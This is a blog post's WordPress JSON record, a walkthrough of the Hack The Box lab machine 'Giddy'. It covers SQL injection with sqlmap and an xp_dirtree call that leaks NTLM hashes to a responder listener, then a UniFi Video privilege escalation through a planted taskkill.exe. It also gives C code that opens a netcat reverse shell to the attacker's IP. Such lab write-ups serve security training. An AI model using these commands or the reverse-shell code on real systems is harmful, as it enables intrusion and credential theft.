{"id":41,"date":"2021-02-10T10:11:52","date_gmt":"2021-02-10T10:11:52","guid":{"rendered":"https:\/\/areyou1or0.it\/?p=41"},"modified":"2021-02-10T10:23:25","modified_gmt":"2021-02-10T10:23:25","slug":"htb-giddy-walkthrough","status":"publish","type":"post","link":"https:\/\/areyou1or0.it\/index.php\/2021\/02\/10\/htb-giddy-walkthrough\/","title":{"rendered":"HTB &#8211; Giddy Walkthrough"},"content":{"rendered":"\n<p>nmap<\/p>\n\n\n\n<figure class=\"wp-block-image\"><img decoding=\"async\" src=\"https:\/\/lh5.googleusercontent.com\/MEkd1ZCiLPXF3Kjc-u21XZnycEz0AfJs2JQk38gfpzpB79tKwXV9MUFsJLnMkV_nPEfd4pcJ6-_kYUBVI3wSRQqGuhTMFbig2aj3xSzgI1kQ449IWhYjoFt9m-OYO7jukDlABJPk\" alt=\"\"\/><\/figure>\n\n\n\n<p>&nbsp;gobuster<\/p>\n\n\n\n<figure class=\"wp-block-image\"><img decoding=\"async\" src=\"https:\/\/lh5.googleusercontent.com\/GmdUmi-adh49kspwvN9P7GXY9bVV62cIOlyO6RIPgPqF4wtWFA9zfTfDCD1x8QMVGESLJtdKdQ3_NU-pY_Emaaj5M8Rqa1_VrKqfepM8Wf1nTa2IxnVTiqHMCr1wtd4x2zqbiauK\" alt=\"\"\/><\/figure>\n\n\n\n<p>Search field &#8211; SQL error<\/p>\n\n\n\n<figure class=\"wp-block-image\"><img decoding=\"async\" src=\"https:\/\/lh5.googleusercontent.com\/9k_lIPz5ke9goaqVE33yYY1SwQvmsd2j4L_amffCu-mh-qZDFTwd0mly_uj45XLTTRFmH7nMn8LcfD1fZjWGBWzghlxnqywVxgWuom4Hb8HJpBljJiQ8zTmmvdUcC5Iho7f9tDrc\" alt=\"\"\/><\/figure>\n\n\n\n<p>SQL Injection<br>You can use the cheatsheet of PentestMonkey<a href=\"#\">http:\/\/pentestmonkey.net\/cheat-sheet\/sql-injection\/mssql-sql-injection-cheat-sheet<\/a><br>or you can use sqlmap<br>sqlmap &#8211;url <a href=\"#\">https:\/\/10.10.10.104\/mvc\/Product.aspx?ProductSubCategoryId=1<\/a> &#8211;dbms=mssql &#8211;dbs<\/p>\n\n\n\n<figure class=\"wp-block-image\"><img decoding=\"async\" src=\"https:\/\/lh3.googleusercontent.com\/Kird-6p-75Fly1KI3muG9n42qxuxqAYhg4aD6ZxjbrM1-iFlYuq1oNzKoY04lrta2ViLHZXZWGLC2s7Pp18tSTh3kLKUTXwSK7rqSLWoPhqZpQ_o6u6rQN1wFdj0iPYyGOMSdGOW\" alt=\"\"\/><\/figure>\n\n\n\n<figure class=\"wp-block-image\"><img decoding=\"async\" src=\"https:\/\/lh3.googleusercontent.com\/OBa0MJjGHR4CYRn3fIW5HuopCAUJvDp1WdQoGLy4h2MzMlvPO09ZeteTh9zEaAS7cIlNnYaKfmD9NZIA9FHjc6DQZpPg9YHk0hXAJ7We5VLaAI40QOdxT_Ixw9VyIO-ZDxhJaeMc\" alt=\"\"\/><\/figure>\n\n\n\n<p>databases<\/p>\n\n\n\n<figure class=\"wp-block-image\"><img decoding=\"async\" src=\"https:\/\/lh4.googleusercontent.com\/PlWnU3rjiwFHOFSn0TMZYtm3eEAaCeivg4C-mpLcgVMQ9zdiKa_HnpawWWz8GUA5VUxdRlDCi1_3OGxvYqwa8CNNh_6ugZvBrp9xaRadRbrBlDnVPL32cz-rFDtz9N4dQMxXkeqt\" alt=\"\"\/><\/figure>\n\n\n\n<p>&nbsp;current usersqlmap &#8211;url <a href=\"#\">https:\/\/10.10.10.104\/mvc\/Product.aspx?ProductSubCategoryId=1<\/a> &#8211;dbms=mssql &#8211;current-user<\/p>\n\n\n\n<figure class=\"wp-block-image\"><img decoding=\"async\" src=\"https:\/\/lh5.googleusercontent.com\/7sHq0VFWjGx6EVhYoXUGLkRfeawUClLT8wBXSJF7Xk8-QJ0mxhnxp1prSyBtxmhHHe0qqE8iS7ONctqeFuOqJLSdyOFORm9YbVOrbH566vw0BZ3iCkGjC2WlefdG1g4TAHQEMDyh\" alt=\"\"\/><\/figure>\n\n\n\n<p>Capture MSSQL credentials with xp_dirtree, smbserver.py<br>Following blogspost explains the process very good<a href=\"#\">https:\/\/medium.com\/@markmotig\/how-to-capture-mssql-credentials-with-xp-dirtree-smbserver-py-5c29d852f478<\/a><br>=1; EXEC MASTER.sys.xp_dirtree &#8216;\\\\yourIP\\something&#8217;<\/p>\n\n\n\n<figure class=\"wp-block-image\"><img decoding=\"async\" src=\"https:\/\/lh5.googleusercontent.com\/VUblyfsypYm-7w_pAPkEFa-n0pyjDr_KAgE2I6jo_hIWS0pC-a8Qjnz3RO04h9Ih2rQ8Q0fniJn7vnHQYp_nrw4ImabGmvKw2BFMkYolTk8UpsfqE965Y49188Pr8erlioBecrwY\" alt=\"\"\/><\/figure>\n\n\n\n<p>listen with responder to steal the user hash<br>responder -I tun0<\/p>\n\n\n\n<figure class=\"wp-block-image\"><img decoding=\"async\" src=\"https:\/\/lh6.googleusercontent.com\/oqhERW1MyIKp7n-Yq21S3Yl2Kxo4Tu5vSaa4cx8C8xlikkra9pIQ7eJxEbrwjQJVW9FSYwgJPpkdolKuH5hU075utSyHgOGAsZfxQVL0l2BRRuHkXwFwmyMjgq08XXbFoyv9KMvm\" alt=\"\"\/><\/figure>\n\n\n\n<p>Crack NTML hash<\/p>\n\n\n\n<figure class=\"wp-block-image\"><img decoding=\"async\" src=\"https:\/\/lh4.googleusercontent.com\/4dEO-Lyc9PvLQxm24KcyY44TQVoyHxYhh1Snf075wiliFe6NH-PbE3o9REqdAuHcOfhhuIEnhPGS8Xe-nAY1N4K-XY7xBW_WRfux18Ld40UmL7Qyl7DqdMji73EOX6m_dlKc2WRf\" alt=\"\"\/><\/figure>\n\n\n\n<p>\/remote Powershell Login<\/p>\n\n\n\n<figure class=\"wp-block-image\"><img decoding=\"async\" src=\"https:\/\/lh3.googleusercontent.com\/NeSMfpYA7-mX8ivDoIlbueGt7TRJ2vQ8Ro791uavIT0i-k45-2ummU9279aWfeUx3X_QUfJ927om3Sfh4VGS4PBZW375zJwm83bkQkilu8aXjTFY4VIzXuEqxvdl-w8RqFzvBk3R\" alt=\"\"\/><\/figure>\n\n\n\n<figure class=\"wp-block-image\"><img decoding=\"async\" src=\"https:\/\/lh6.googleusercontent.com\/nTYmDBkJYX5Fc6iSJGkXbBhG6nFwLvjZDrGJ7EdvVyRarlpV9h7icxrBLSrRbhBnKyaqWuJNf_4FFA1xlsjU_AtCgPrHmjnqe3talXhJZtywoe6efZhpVIL8k3-c2DTYggPWSxag\" alt=\"\"\/><\/figure>\n\n\n\n<p>Search for unifivideo on searchsploit<\/p>\n\n\n\n<figure class=\"wp-block-image\"><img decoding=\"async\" src=\"https:\/\/lh3.googleusercontent.com\/Kx2h-Y9BdjJDft1KrHMZjJAn92-tMITBrETVwhi-JYOO1jjnI_1YNO7V70NRVc6MmIQ0Z5EzEFy4zOl4GRzcK-YE8F9pZLkHXYFi7te_H9TLScXqIrQc9Tc_DwAY2wemJGcSjqs3\" alt=\"\"\/><\/figure>\n\n\n\n<p>Exploit &#8211; Step by Step<br>Ubiquiti UniFi Video for Windows is installed to &#8220;C:\\ProgramData\\unifi-video\\&#8221;by default and is also shipped with a service called &#8220;Ubiquiti UniFi Video&#8221;.<\/p>\n\n\n\n<figure class=\"wp-block-image\"><img decoding=\"async\" src=\"https:\/\/lh3.googleusercontent.com\/Pi0iF3yiFX7pHnvM3OV5-D-cGWMml7pxMPg5KhfGmTwzgY1G9S6zxNxoq5Hhwbz0pKyA5BgBOckBdrAfGUroHZqSxWc-SYwPCEjZ4u2hIoNWf-lbhFRwT_l7z6dOHKfAkEMaZ1AU\" alt=\"\"\/><\/figure>\n\n\n\n<p>&nbsp;Its executable &#8220;avService.exe&#8221; is placed in the same directory and also runs underthe NT AUTHORITY\/SYSTEM account.<\/p>\n\n\n\n<figure class=\"wp-block-image\"><img decoding=\"async\" src=\"https:\/\/lh4.googleusercontent.com\/CAn4e5TurQ5nZwk6965YS2K9QOSYx_HfBOx0U0Evexieyp0oN8Dyo6CLGaimJpgyFRTwaCfxheO0dpIEz4ul20XWdEP2ez3FmDQcMdJwtYzi0zbX_rIBZvZpYi0-cYqroOvz47EA\" alt=\"\"\/><\/figure>\n\n\n\n<p>However the default permissions on the &#8220;C:\\ProgramData\\unifi-video&#8221; folder areinherited from &#8220;C:\\ProgramData&#8221; and are not explicitly overridden, which allowsall users, even unprivileged ones, to append and write files to the applicationdirectory:c:\\ProgramData&gt;icacls unifi-video<\/p>\n\n\n\n<figure class=\"wp-block-image\"><img decoding=\"async\" src=\"https:\/\/lh5.googleusercontent.com\/pteDyCj20CVwMNFa5Hlga4WVDkjiK5MrsH19l3eWZ7fR-ZCYzioijrSI1-9W3xfkbjDCKefJPZ0PqC3giuAbM_iDrNq4rLlqv0mRRCooMjoPfgjOVUXp0XMV_ZB8Kq172JguT8nY\" alt=\"\"\/><\/figure>\n\n\n\n<p>Upon start and stop of the service, it tries to load and execute the file at &#8220;C:\\ProgramData\\unifi-video\\taskkill.exe&#8221;. However this file does not exist in the application directory by default at all.By copying an arbitrary &#8220;taskkill.exe&#8221; to &#8220;C:\\ProgramData\\unifi-video\\&#8221; as an unprivileged user, it is therefore possible to escalate privileges and execute arbitrary code as NT AUTHORITY\/SYSTEM.<\/p>\n\n\n\n<figure class=\"wp-block-image\"><img decoding=\"async\" src=\"https:\/\/lh6.googleusercontent.com\/Ja6RyRe72t7ZP_BoNPgTTeEfQAz5TsInSxeH5KhBXSYHMVfYpWQbRWgOSQ3RnWHHhZ7_CjgWznsxZ7xrFLIzdxdxJ87UnkhYNnOg9vHRMo5GdbsA6xLWN0ZNnEDhSCiTlAK-BD2J\" alt=\"\"\/><\/figure>\n\n\n\n<figure class=\"wp-block-image\"><img decoding=\"async\" src=\"https:\/\/lh6.googleusercontent.com\/pFpm-9o1Kufae2SoumKfKW1kt12zHVXg2SWe8phF1GVPFOt8qthWfQDhaMq30ZKoSRp4IE3wt2fKcpMkPymgbIE6f_4KrYv8VthQOjsG68ZI-iJaFU0BNAtd8Og8A_TwJomYXc0O\" alt=\"\"\/><\/figure>\n\n\n\n<p>Even when I encrypt the exploit, an AV probably catches it.<\/p>\n\n\n\n<figure class=\"wp-block-image\"><img decoding=\"async\" src=\"https:\/\/lh5.googleusercontent.com\/BQkzNw7aQb-94CtlZ7vXFlZflJvBVWOjV3p1MaE7n4BVqYJPbkGbrtF87sPDaOo86hksrwaacpmceF140n57SanQnK0fv0tB6TGNFGOHzo-JeVpnri6awecaHpN3hni4VK0sDZJC\" alt=\"\"\/><\/figure>\n\n\n\n<p>So I used the following C code to get root shell<\/p>\n\n\n\n<figure class=\"wp-block-image\"><img decoding=\"async\" src=\"https:\/\/lh6.googleusercontent.com\/21wpcakt7R26FWCu2NlZKj8l0twSbmuHR4EuJpH71pIRS1E1kh3hY12Vn-TAO9vCrTydcV7QNnBypETNsbfceyXD7z5gKp8o1tKIurAKhNuyoquWKdfdRRCailQdWLo7ed9PnNzL\" alt=\"\"\/><\/figure>\n\n\n\n<p>#include &lt;stdlib.h&gt;int main () {system(&#8220;nc.exe -e cmd.exe &lt;myip&gt; &lt;myport&gt;&#8221;);return 0;}<br># compile the C codei686-w64-mingw32-gcc windows-exp.c -lws2_32 -o exp.exe<br>Send taskkill.exe and nc.exe over SimpleHTTPServer<\/p>\n\n\n\n<figure class=\"wp-block-image\"><img decoding=\"async\" src=\"https:\/\/lh4.googleusercontent.com\/7h_w8lGsIQzPutYaiZvHGvp5c-CQM9k11ClFS_NijVYwbZbOe1z61xGLLEsKqC2xmTkBY79xiiuo1hQz6D7xkZGmGcpqcpt4Bo3E2YhC_-UXszLCxZucKk-I5IgM-xJpbArOWgjX\" alt=\"\"\/><\/figure>\n\n\n\n<p>Stop the service<\/p>\n\n\n\n<figure class=\"wp-block-image\"><img decoding=\"async\" src=\"https:\/\/lh4.googleusercontent.com\/Eq8IVIM3dRnaYA4T_UxASFlmr654VZrelxdnoAOPtKLMi0aexWGyYPU5JpxXuFcSs_gDslIjUsVpb6NngtQYJOLmT3eQ0KsY7jUg1I-G-dRiI-UGDkD7bZ8YVoQjWaz0rmF0CYfb\" alt=\"\"\/><\/figure>\n\n\n\n<p>Wait for the Admin shell<\/p>\n\n\n\n<figure class=\"wp-block-image\"><img decoding=\"async\" src=\"https:\/\/lh3.googleusercontent.com\/02rADSqpg9iF1K3nsoe5gwUP41caQedzzl3hckxy9yPnFwU1F-mtmU4clH1Np4cUu824tFotjHWrdV6_3d0cOvwxAi1NM0QpCyBetv3MUAGzwSbj5Kp3TdjUIBvHfWMkI7pvJ45p\" alt=\"\"\/><\/figure>\n","protected":false},"excerpt":{"rendered":"<p>nmap &nbsp;gobuster Search field &#8211; SQL error SQL InjectionYou can use the cheatsheet of PentestMonkeyhttp:\/\/pentestmonkey.net\/cheat-sheet\/sql-injection\/mssql-sql-injection-cheat-sheetor you can use sqlmapsqlmap &#8211;url https:\/\/10.10.10.104\/mvc\/Product.aspx?ProductSubCategoryId=1 &#8211;dbms=mssql &#8211;dbs databases &nbsp;current usersqlmap &#8211;url https:\/\/10.10.10.104\/mvc\/Product.aspx?ProductSubCategoryId=1 &#8211;dbms=mssql &#8211;current-user Capture MSSQL credentials with xp_dirtree, smbserver.pyFollowing blogspost explains the process very goodhttps:\/\/medium.com\/@markmotig\/how-to-capture-mssql-credentials-with-xp-dirtree-smbserver-py-5c29d852f478=1; EXEC MASTER.sys.xp_dirtree &#8216;\\\\yourIP\\something&#8217; listen with responder to steal the user hashresponder -I tun0&hellip; <a class=\"more-link\" href=\"https:\/\/areyou1or0.it\/index.php\/2021\/02\/10\/htb-giddy-walkthrough\/\">Continue reading <span class=\"screen-reader-text\">HTB &#8211; Giddy Walkthrough<\/span><\/a><\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":[],"categories":[17],"tags":[],"_links":{"self":[{"href":"https:\/\/areyou1or0.it\/index.php\/wp-json\/wp\/v2\/posts\/41"}],"collection":[{"href":"https:\/\/areyou1or0.it\/index.php\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/areyou1or0.it\/index.php\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/areyou1or0.it\/index.php\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/areyou1or0.it\/index.php\/wp-json\/wp\/v2\/comments?post=41"}],"version-history":[{"count":1,"href":"https:\/\/areyou1or0.it\/index.php\/wp-json\/wp\/v2\/posts\/41\/revisions"}],"predecessor-version":[{"id":42,"href":"https:\/\/areyou1or0.it\/index.php\/wp-json\/wp\/v2\/posts\/41\/revisions\/42"}],"wp:attachment":[{"href":"https:\/\/areyou1or0.it\/index.php\/wp-json\/wp\/v2\/media?parent=41"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/areyou1or0.it\/index.php\/wp-json\/wp\/v2\/categories?post=41"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/areyou1or0.it\/index.php\/wp-json\/wp\/v2\/tags?post=41"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}